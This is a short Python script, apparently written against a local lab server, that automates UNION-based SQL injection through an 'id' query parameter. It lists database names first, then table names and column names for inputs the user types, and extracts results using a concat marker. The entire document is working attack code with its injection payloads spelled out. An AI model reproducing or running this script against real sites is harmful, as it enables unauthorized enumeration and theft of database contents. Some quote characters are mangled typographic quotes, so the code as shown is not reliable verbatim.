#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import requests
import urllib
import re
values={}

def get(url,values):
    data = urllib.urlencode(values)
    geturl = url+‘?‘+data
    response = requests.get(geturl)
    result=response.content
    find_list=re.findall(r"qwe~(.+?)~qwe", result)
    if len(find_list)>0:
        return find_list

def get_database_name(url):
    values[‘id‘] = "1 and 1=2 union select 1,concat(0x7177657E,schema_name,0x7E717765) from INFORMATION_SCHEMA.SCHEMATA" 
    name_list=get(url,values)
    print ‘The databases:‘
    for i in name_list:
        print i+" ",
    print "\n"
def table_name(url):
    database_name=raw_input(‘please input your database:‘)
    values[‘id‘] = "1  union select 1,concat(0x7177657E,table_name,0x7E717765) from information_schema.tables where table_schema="+"‘"+database_name+"‘"
    name_list=get(url,values)
    print ‘The table is :‘
    for i in name_list:
        print i+" ",
    print "\n"
def column_name(url):
    table_name=raw_input(‘please input your table:‘)
    values[‘id‘] = "1   union select 1,concat(0x7177657E,column_name,0x7E717765) from information_schema.columns where table_name="+"‘"+table_name+"‘"
    name_list=get(url,values)
    print ‘The column is :‘
    for i in name_list:
        print i+" ",
if __name__ == ‘__main__‘:
    url=‘http://192.168.106.130/config/sql.php‘
    get_database_name(url)
    table_name(url)
    column_name(url)